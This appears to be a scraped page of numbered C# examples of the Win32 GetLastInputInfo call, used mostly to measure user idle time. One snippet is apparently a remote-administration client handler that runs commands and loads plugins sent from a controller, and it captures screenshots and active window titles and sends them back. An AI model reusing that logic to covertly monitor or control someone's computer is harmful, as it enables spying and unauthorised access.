public static DateTime GetLastInputTime()
 {
     var lastInputInfo = new LASTINPUTINFO();
     lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
     GetLastInputInfo(ref lastInputInfo);
     return DateTime.Now.AddMilliseconds(-(Environment.TickCount - lastInputInfo.dwTime));
 }
 public static extern bool GetLastInputInfo(ref LASTINPUTINFO lpii);
        public static TimeSpan CalculateIdleTime() {
            if (Environment.OSVersion.Platform == PlatformID.Unix) {
				if (haveXprintIdle)
				{
					var ret = ZkData.Utils.ExecuteConsoleCommand("xprintidle");
                	if (ret != null) {
                    	int ms;
                    	if (int.TryParse(ret, out ms)) return TimeSpan.FromMilliseconds(ms);
					}else{ haveXprintIdle = false;} //some Linux might not have "xprintidle", stop trying, avoid spam in Diagnostic Log.
				}
				return DateTime.Now - Program.ToolTip.LastUserAction;
            }

            var systemUptime = Environment.TickCount; // Get the system uptime
            var idleTicks = 0; // The number of ticks that passed since last input

            var lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            // If we have a value from the function
            if (GetLastInputInfo(ref lastInputInfo)) {
                var lastInputTicks = (int)lastInputInfo.dwTime; // Get the number of ticks at the point when the last activity was seen
                idleTicks = systemUptime - lastInputTicks; // Number of idle ticks = system uptime ticks - number of ticks at last input
            }

            return TimeSpan.FromMilliseconds(idleTicks);
        }
        /// <summary>
        /// This method is responsible for monitoring system resource and user activity with the computer
        /// And periodically changes the shared variable 'crawlerState'
        /// </summary>
        public void Scheduler()
        {
            PerformanceCounter pc = new PerformanceCounter("Processor", "% Idle Time", "_Total", true);

            LASTINPUTINFO info = new LASTINPUTINFO();
            info.cbSize = Marshal.SizeOf(typeof(LASTINPUTINFO));
            while (GlobalData.RunScheduler)
            {
                if (GetLastInputInfo(ref info))
                {
                    if ((Environment.TickCount - info.dwTime) / 1000 > 5 && (int)pc.NextValue() > 40)
                    {
                        crawlerState = CrawlerState.Run;
                    }
                    else
                    {
                        crawlerState = CrawlerState.Stop;
                        if ((Environment.TickCount - info.dwTime) / 1000 <= 5)
                            GlobalData.lIndexingStatus.Text = string.Format("Indexing is paused and will be resumed in {0} sec of computer inactivity [ CPU Idle : {1:F2}% ]", 5 - (Environment.TickCount - info.dwTime) / 1000, pc.NextValue());
                    }
                }
                Thread.Sleep(1000);
            }
            pc.Close();
        }
Example #5
0
 /// <summary>
 /// 取得当前时间与上次输入时间的差
 /// </summary>
 /// <returns>返回单位 毫秒</returns>
 public static long GetIdleTick()
 {
     LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
     lastInputInfo.cbSize = Marshal.SizeOf(lastInputInfo);
     if (!GetLastInputInfo(ref lastInputInfo)) return 0;
     return Environment.TickCount - (long)lastInputInfo.dwTime;
 } 
Example #6
0
 public long getIdleTick()
 {
     LASTINPUTINFO vLastInputInfo = new LASTINPUTINFO();
     vLastInputInfo.cbSize = Marshal.SizeOf(vLastInputInfo);
     if (!GetLastInputInfo(ref    vLastInputInfo)) return 0;
     return Environment.TickCount - (long)vLastInputInfo.dwTime;
 }
Example #7
0
        public uint GetIdleTime()
        {
            LASTINPUTINFO lastInPut = new LASTINPUTINFO();
            lastInPut.cbSize = (uint)System.Runtime.InteropServices.Marshal.SizeOf(lastInPut);
            GetLastInputInfo(ref lastInPut);

            return ((uint)Environment.TickCount - lastInPut.dwTime);
        }
Example #8
0
 // note MM: http://msdn.microsoft.com/en-us/library/system.environment.tickcount.aspx
 // GetLastInputInfo info also goes round this way(although i couldn't find proof on the web)
 // but there's a risk of Overflow exception, so i cast them to long to avoid it
 // nevertheless, i'm not sure how this code will work after machine working for more than 50 days.
 // it depends whether GetLastInputInfo is synchronized with TickCount(behaves same way)
 public static uint GetIdle()
 {
     LASTINPUTINFO structure = new LASTINPUTINFO();
     structure.cbSize = Convert.ToUInt32(Marshal.SizeOf(structure));
     GetLastInputInfo(ref structure);
     // to exclude Overflow exception
     return Convert.ToUInt32((long)Environment.TickCount - (long)structure.dwTime);
 }
Example #9
0
 /// <summary>
 /// Get the lapse time between user input (mouse or keyboard) system-wide.
 /// </summary>
 /// <returns>Lapse time in seconds.</returns>
 public static double GetIdleTime()
 {
     LASTINPUTINFO lii = new LASTINPUTINFO();
     lii.cbSize = Marshal.SizeOf(lii.GetType());
     if (!GetLastInputInfo(ref lii))
         throw new ApplicationException("Error executing GetLastInputInfo");
     return (Environment.TickCount - lii.dwTime) / 1000.0;
 }
Example #10
0
 internal int Ticks()
 {
     var uptime = Environment.TickCount;
     var lastInput = new LASTINPUTINFO();
     lastInput.cbSize = Marshal.SizeOf(lastInput);
     var idleTicks = 0;
     if (GetLastInputInfo(ref lastInput))
         idleTicks = uptime - (int)lastInput.dwTime;
     return idleTicks;
 }
Example #11
0
        public static TimeSpan GetLastInput()
        {
            var plii = new LASTINPUTINFO();
            plii.cbSize = (uint)Marshal.SizeOf(plii);

            if (GetLastInputInfo(ref plii))
                return TimeSpan.FromMilliseconds(Environment.TickCount - plii.dwTime);
            else
                throw new Win32Exception(Marshal.GetLastWin32Error());
        }
Example #12
0
        /// <summary>
        /// Gets the last time an input has been received from user
        /// </summary>
        /// <returns></returns>
        private static long GetLastInputTime()
        {
            LASTINPUTINFO lastInPut = new LASTINPUTINFO();
            lastInPut.cbSize = (uint)System.Runtime.InteropServices.Marshal.SizeOf(lastInPut);
            if (!GetLastInputInfo(ref lastInPut))
            {
                throw new Exception(GetLastError().ToString());
            }

            return lastInPut.dwTime;
        }
Example #13
0
        public static long GetLastInputTime()
        {
            LASTINPUTINFO lastInPut = new LASTINPUTINFO();
            lastInPut.cbSize = (uint)Marshal.SizeOf(lastInPut);

            if (!GetLastInputInfo(ref lastInPut))
            {
                throw new Exception(GetLastError().ToString());
            }

            return lastInPut.dwTime;
        }
Example #14
0
        public static uint GetIdleTime()
        {
            LASTINPUTINFO lastInPut = new LASTINPUTINFO();
            lastInPut.cbSize = (uint)System.Runtime.InteropServices.Marshal.SizeOf(lastInPut);
            GetLastInputInfo(ref lastInPut);

            //TimeSpan t = TimeSpan.FromMilliseconds(millisecond);
            //format(t);
            //var s = TimeSpan.FromMilliseconds(lastInPut.dwTime);
            //format(s);

            return ((uint)Environment.TickCount - lastInPut.dwTime);
              //  return ((uint)millisecond - lastInPut.dwTime);
        }
Example #15
0
        public static TimeSpan GetIdleTime()
        {
            TimeSpan idleTime = TimeSpan.FromMilliseconds(0);

            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            if (GetLastInputInfo(ref lastInputInfo))
            {
                idleTime = TimeSpan.FromMilliseconds(GetTickCount() - (lastInputInfo.dwTime & uint.MaxValue));
            }

            return idleTime;
        }
Example #16
0
        static int GetLastInputTime()
        {
            int idleTime = 0;
            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            int envTicks = Environment.TickCount;

            if (GetLastInputInfo(ref lastInputInfo)){
                int lastInputTick = (int) lastInputInfo.dwTime;

                idleTime = envTicks - lastInputTick;
            }

            return ((idleTime > 0) ? (idleTime/1000) : idleTime);
        }
        /// <summary>
        /// Constructs a new timer to track the idle/activity status of the user
        /// </summary>
        /// <param name="idleThreshold">Number of milliseconds of inactivity until user is considered idle</param>
        /// <param name="active">Whether or not the timer should be created in an active state</param>
        public UserActivityTimer(long idleThreshold, bool active)
        {
            this._idleThreshold = idleThreshold;

            // Initialize system call
            this.lastInput = new LASTINPUTINFO();
            this.lastInput.cbSize = (uint)Marshal.SizeOf(this.lastInput);

            // Read initial value
            GetLastInputInfo(ref this.lastInput);
            this._lastActivity = this.lastInput.dwTime;

            // Create underlying timer
            this.activityCheckerTimer = new Timer(new TimerCallback(this.GetLastInput), null, Timeout.Infinite, 1000);
            this._lastResetTime = DateTime.Now;
            this.Enabled = active;
        }
Example #18
0
        public static int GetLastInputTime()
        {
            uint idleTime = 0;
            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = (UInt32)Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            uint envTicks = (uint)Environment.TickCount;

            if (GetLastInputInfo(ref lastInputInfo))
            {
                uint lastInputTick = lastInputInfo.dwTime;

                idleTime = envTicks - lastInputTick;
            }

            return (int)((idleTime > 0) ? (idleTime / 1000) : 0);
        }
Example #19
0
        /// <summary>
        /// Gets the user idle time in milisseconds
        /// http://dataerror.blogspot.com.br/2005/02/detect-windows-idle-time.html
        /// </summary>
        /// <returns></returns>
        public static long GetIdleTime()
        {
            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            int envTicks = Environment.TickCount;

            if (GetLastInputInfo(out lastInputInfo))
            {
                int lastInputTick = lastInputInfo.dwTime;
                return envTicks - lastInputTick;
            }
            else
            {
                return 0;
            }
        }
Example #20
0
        public static int GetLastInputTime()
        {
            int idleTime = 0;
            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = (UInt32)System.Runtime.InteropServices.Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            int envTicks = Environment.TickCount;

            if (GetLastInputInfo(ref lastInputInfo))
            {
                int lastInputTick = (Int32)lastInputInfo.dwTime;

                idleTime = envTicks - lastInputTick;
            }

            return ((idleTime > 0) ? (idleTime / 1000) : 0);
        }
Example #21
0
        public static DateTime GetLastInputTime()
        {
            int idleTime = 0;
            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            int envTicks = Environment.TickCount;

            if (GetLastInputInfo(ref lastInputInfo))
            {
                int lastInputTick = (int)lastInputInfo.dwTime;

                idleTime = envTicks - lastInputTick;
            }

            var idleTimeSecs = ((idleTime > 0) ? (idleTime / 1000) : idleTime);
            return DateTime.Now.AddSeconds(-idleTimeSecs);
        }
Example #22
0
        public void GetIdleTime()
        {
            int systemUptime = Environment.TickCount;

              // Set the struct
              LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
              lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
              lastInputInfo.dwTime = 0;

              if (GetLastInputInfo(ref lastInputInfo))
              {
            // Get the number of ticks at the point when the last activity was seen
            var lastInputTicks = (int)lastInputInfo.dwTime;

            // Number of idle ticks = system uptime ticks - number of ticks at last input
            //var idleTicks = systemUptime - lastInputTicks;

            this.IdleTime = TimeSpan.FromMilliseconds(systemUptime - lastInputTicks);
              }
        }
Example #23
0
        private static ExitCode Invoke()
        {
            try
            {
                var lastInputInfo = new LASTINPUTINFO
                {
                    cbSize = LASTINPUTINFO.MarshalSize
                };
                if (!GetLastInputInfo(ref lastInputInfo))
                    throw new Exception("WinApi call GetLastInputInfo was not successful");

                var idleTime = (uint)Environment.TickCount - lastInputInfo.dwTime;

                Console.Out.WriteLine(idleTime);

                return ExitCode.ERROR_SUCCESS;
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("IdleCheck encountered an error: {0}", e.Message);
                return ExitCode.ERROR_BAD_ENVIRONMENT;
            }
        }
Example #24
0
        public static TimeSpan GetLastInputTime()
        {
            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            int envTicks = Environment.TickCount;

            if (GetLastInputInfo(ref lastInputInfo))
            {
                long lastInputTick = lastInputInfo.dwTime;
                long milliseconds = Environment.TickCount - lastInputTick;

                int seconds = (int)(milliseconds / 1000);
                TimeSpan result = new TimeSpan(0, 0, seconds);

                //Logger.Log("ResultTimeSpanSeconds: {0}", result.TotalSeconds);

                return result;
            }

            throw new Win32Exception();
        }
Example #25
0
        public static int GetIdleTimeSec()
        {
            // Get the system uptime
            int systemUptime = Environment.TickCount;
            // The tick at which the last input was recorded
            int LastInputTicks = 0;
            // The number of ticks that passed since last input
            int IdleTicks = 0;

            // Set the struct
            LASTINPUTINFO LastInputInfo = new LASTINPUTINFO();
            LastInputInfo.cbSize = (uint)Marshal.SizeOf(LastInputInfo);
            LastInputInfo.dwTime = 0;

            // If we have a value from the function
            if (GetLastInputInfo(ref LastInputInfo))
            {
                // Get the number of ticks at the point when the last activity was seen
                LastInputTicks = (int)LastInputInfo.dwTime;
                // Number of idle ticks = system uptime ticks - number of ticks at last input
                IdleTicks = systemUptime - LastInputTicks;
            }
            return IdleTicks / 1000;
        }
        private void ProcessResponse(byte parameter, int size, byte[] bytes)
        {
            switch ((FromAdministrationPackage)parameter)
            {
            case FromAdministrationPackage.InitializeNewSession:
                var id         = BitConverter.ToUInt16(bytes, 0);
                var connection = new AdministrationConnection(id, this, _clientInfo);
                connection.SendFailed += (sender, args) => Dispose();

                AdministrationConnections.Add(connection);
                lock (SendLock)
                {
                    BinaryWriter.Write((byte)FromClientPackage.ResponseLoginOpen);
                    BinaryWriter.Write(2);
                    BinaryWriter.Write(BitConverter.GetBytes(id));
                }
                break;

            case FromAdministrationPackage.SendStaticCommand:
                var potentialCommand =
                    new Serializer(typeof(PotentialCommand)).Deserialize <PotentialCommand>(bytes, 0);

                StaticCommandSelector.Current.ExecuteCommand(potentialCommand);
                break;

            case FromAdministrationPackage.SendStaticCommandCompressed:
                potentialCommand =
                    new Serializer(typeof(PotentialCommand)).Deserialize <PotentialCommand>(LZF.Decompress(bytes, 0), 0);

                StaticCommandSelector.Current.ExecuteCommand(potentialCommand);
                break;

            case FromAdministrationPackage.LoadPlugin:
                var guid    = new Guid(bytes.Skip(2).Take(16).ToArray());
                var version = new Serializer(typeof(PluginVersion)).Deserialize <PluginVersion>(bytes,
                                                                                                18);
                var versionData = Encoding.ASCII.GetBytes(version.ToString());
                if (LoadPlugin(guid, version))
                {
                    lock (SendLock)
                    {
                        BinaryWriter.Write((byte)FromClientPackage.PluginLoaded);
                        BinaryWriter.Write(16 + versionData.Length);
                        BinaryWriter.Write(guid.ToByteArray());
                        BinaryWriter.Write(versionData);
                    }
                }
                else
                {
                    lock (SendLock)
                    {
                        BinaryWriter.Write((byte)FromClientPackage.PluginLoadFailed);
                        BinaryWriter.Write(2 + 16 + versionData.Length);
                        BinaryWriter.Write(bytes, 0, 2);     //administration id
                        BinaryWriter.Write(guid.ToByteArray());
                        BinaryWriter.Write(versionData);
                    }
                }
                break;

            case FromAdministrationPackage.CloseSession:
                var closingSessionId = BitConverter.ToUInt16(bytes, 0);
                var session          = AdministrationConnections.FirstOrDefault(x => x.Id == closingSessionId);
                if (session != null)
                {
                    AdministrationConnections.Remove(session);
                    session.Dispose();
                }
                break;

            case FromAdministrationPackage.GetActiveWindow:
                try
                {
                    string windowTitle = "";

                    var lastInPut = new LASTINPUTINFO();
                    lastInPut.cbSize = (uint)Marshal.SizeOf(lastInPut);

                    //15 min
                    if (NativeMethods.GetLastInputInfo(ref lastInPut) &&
                        (uint)Environment.TickCount - lastInPut.dwTime > 900000)
                    {
                        windowTitle += "[Idle] ";
                    }

                    windowTitle += ActiveWindowHook.GetActiveWindowTitle() ?? "";
                    var windowTitleData = Encoding.UTF8.GetBytes(windowTitle);
                    lock (SendLock)
                    {
                        BinaryWriter.Write((byte)FromClientPackage.ResponseActiveWindow);
                        BinaryWriter.Write(windowTitleData.Length + 2);
                        BinaryWriter.Write(bytes);
                        BinaryWriter.Write(windowTitleData);
                    }
                }
                catch (Exception ex)
                {
                    ErrorReporter.Current.ReportError(ex,
                                                      "case FromAdministrationPackage.GetActiveWindow");
                }
                break;

            case FromAdministrationPackage.GetScreen:
                try
                {
                    using (var compressor = new JpgCompression(75))
                    {
                        byte[] screenshotData;
                        using (var memoryStream = new MemoryStream())
                            using (var screenshot = ScreenHelper.TakeScreenshot())
                            {
                                compressor.Compress(screenshot, memoryStream);
                                screenshotData = memoryStream.ToArray();
                            }

                        lock (SendLock)
                        {
                            BinaryWriter.Write((byte)FromClientPackage.ResponseScreenshot);
                            BinaryWriter.Write(screenshotData.Length + 2);
                            BinaryWriter.Write(bytes);
                            BinaryWriter.Write(screenshotData);
                        }
                    }
                }
                catch (Exception ex)
                {
                    ErrorReporter.Current.ReportError(ex, "case FromAdministrationPackage.GetScreen");
                }
                break;

            case FromAdministrationPackage.AcceptPush:
                FileTransferAccepted?.Invoke(this, new FileTransferEventArgs(new Guid(bytes)));
                break;

            case FromAdministrationPackage.TransferCompleted:
                FileTransferCompleted?.Invoke(this, new FileTransferEventArgs(new Guid(bytes)));
                break;

            case FromAdministrationPackage.IsAlive:
                lock (SendLock)
                {
                    BinaryWriter.Write((byte)FromClientPackage.StillAlive);
                    BinaryWriter.Write(0);
                }
                break;

            case FromAdministrationPackage.SendStaticCommandPlugin:
                var pluginDirectory = new DirectoryInfo(Consts.StaticCommandPluginsDirectory);
                if (!pluginDirectory.Exists)
                {
                    pluginDirectory.Create();
                }

                var filename = FileExtensions.GetUniqueFileName(pluginDirectory.FullName);
                using (var fileStream = new FileStream(filename, FileMode.CreateNew, FileAccess.Write))
                    fileStream.Write(bytes, 4, bytes.Length - 4);

                StaticCommandPluginReceived?.Invoke(this, new StaticCommandPluginReceivedEventArgs(filename,
                                                                                                   BitConverter.ToInt32(bytes, 0)));
                break;

            case FromAdministrationPackage.RequestLibraryInformation:
                var libraries     = (PortableLibrary)BitConverter.ToInt32(bytes, 2);
                var libraryHashes = (size - 6) / 16;
                var hashes        = new List <byte[]>(libraryHashes);
                for (int i = 0; i < libraryHashes; i++)
                {
                    var hash = new byte[16];
                    Buffer.BlockCopy(bytes, 6 + i * 16, hash, 0, 16);
                    hashes.Add(hash);
                }
                var result = LibraryLoader.Current.CheckLibraries(libraries, hashes);
                lock (SendLock)
                {
                    BinaryWriter.Write((byte)FromClientPackage.ResponseLibraryInformation);
                    BinaryWriter.Write(6);
                    BinaryWriter.Write(bytes, 0, 2);     //administration id
                    BinaryWriter.Write(BitConverter.GetBytes((int)result));
                }
                break;

            case FromAdministrationPackage.StopActiveCommand:
                StaticCommandSelector.Current.StopActiveCommand(BitConverter.ToInt32(bytes, 0));
                break;
            }
        }
Example #27
0
 [DllImport("user32.dll")] private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
Example #28
0
 static Win32Wrapper()
 {
     lastInPutNfo        = new LASTINPUTINFO();
     lastInPutNfo.cbSize = (uint)Marshal.SizeOf(lastInPutNfo);
 }
Example #29
0
 static MouseUtilities()
 {
     lastInPutNfo        = new LASTINPUTINFO();
     lastInPutNfo.cbSize = (uint)Marshal.SizeOf(lastInPutNfo);
 }
Example #30
0
 public static extern bool GetLastInputInfo(ref LASTINPUTINFO lpii);
 GetLastInputInfo(ref LASTINPUTINFO plii);
Example #32
0
 public static extern bool GetLastInputInfo(out LASTINPUTINFO plii);
Example #33
0
        private void SuspendThread(object obj)
        {
            LASTINPUTINFO info = new LASTINPUTINFO();
            info.cbSize = (uint)System.Runtime.InteropServices.Marshal.SizeOf(info);
            GetLastInputInfo(ref info);

            // 現在時刻取得
            UInt64 dwNow = GetTickCount();

            // GetTickCount()は49.7日周期でリセットされるので桁上りさせる
            if (info.dwTime > dwNow)
            {
                dwNow += 0x100000000;
            }

            StringBuilder sb = new StringBuilder(1024);
            IniFileHandler.GetPrivateProfileString("SET", "RecCloseCheck", "False", sb, (uint)sb.Capacity, SettingPath.TimerSrvIniPath);
            bool BoolTryParse = false, BoolCheck = false; ;
            if (bool.TryParse(sb.ToString(), out BoolCheck))//紅
                BoolTryParse = BoolCheck;

            if (BoolTryParse)
            {
                UInt32 RecCloseTime = UInt32.Parse(IniFileHandler.GetPrivateProfileInt("SET", "RecCloseTime", 0, SettingPath.TimerSrvIniPath).ToString()); //紅

                UInt32 threshold = RecCloseTime * 60 * 1000;

                if (RecCloseTime != 0 && dwNow - info.dwTime >= threshold)
                {
                    SleepDialog(obj);
                }
            }
            else SleepDialog(obj);
        }
        private int IdleSeconds()
        {
            int systemUptime = Environment.TickCount;
            int idleTicks = 0;

            var lastInputInfo = new LASTINPUTINFO();

            lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            if (GetLastInputInfo(ref lastInputInfo))
            {
                int lastInputTicks = (int)lastInputInfo.dwTime;

                idleTicks = systemUptime - lastInputTicks;
            }

            // Divide by 1000 to transform the milliseconds to seconds
            return idleTicks / 1000;
        }
    /// <summary>
    /// This functions returns the time of the last user input recogniized,
    /// i.e. mouse moves or keyboard inputs.
    /// </summary>
    /// <returns>Last time of user input</returns>
    private DateTime GetLastInputTime()
    {
      LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
      lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);

      if (!GetLastInputInfo(ref lastInputInfo))
      {
        Log.Debug("PS: Unable to GetLastInputInfo!");
        return DateTime.MinValue;
      }

      long lastKick = lastInputInfo.dwTime;
      long tick = GetTickCount();

      long delta = lastKick - tick;

      if (delta > 0)
      {
        // There was an overflow (restart at 0) in the tick-counter!
        delta = delta - uint.MaxValue - 1;
      }

      return DateTime.Now.AddMilliseconds(delta);
    }
Example #36
0
 static GetLastUserInput()
 {
     lastInPutNfo        = new LASTINPUTINFO();
     lastInPutNfo.cbSize = (uint)Marshal.SizeOf(lastInPutNfo);
 }
 internal static extern bool GetLastInputInfo(ref LASTINPUTINFO lastInput);
Example #38
0
 static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
Example #39
0
        private static bool IsUserIdle()
        {
            uint idleTime = 0;
            LASTINPUTINFO lastInputInfo = new LASTINPUTINFO();
            lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo);
            lastInputInfo.dwTime = 0;

            uint envTicks = (uint)Environment.TickCount;

            if (GetLastInputInfo(ref lastInputInfo))
            {
                uint lastInputTick = lastInputInfo.dwTime;
                idleTime = envTicks - lastInputTick;
            }

            idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);

            return (idleTime > 600) ? true : false; // idle for 10 minutes
        }
Example #40
0
 private static extern bool GetLastInputInfo(ref LASTINPUTINFO Dummy);
Example #41
0
 private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
Example #42
0
 private static extern bool GetLastInputInfo(out LASTINPUTINFO plii);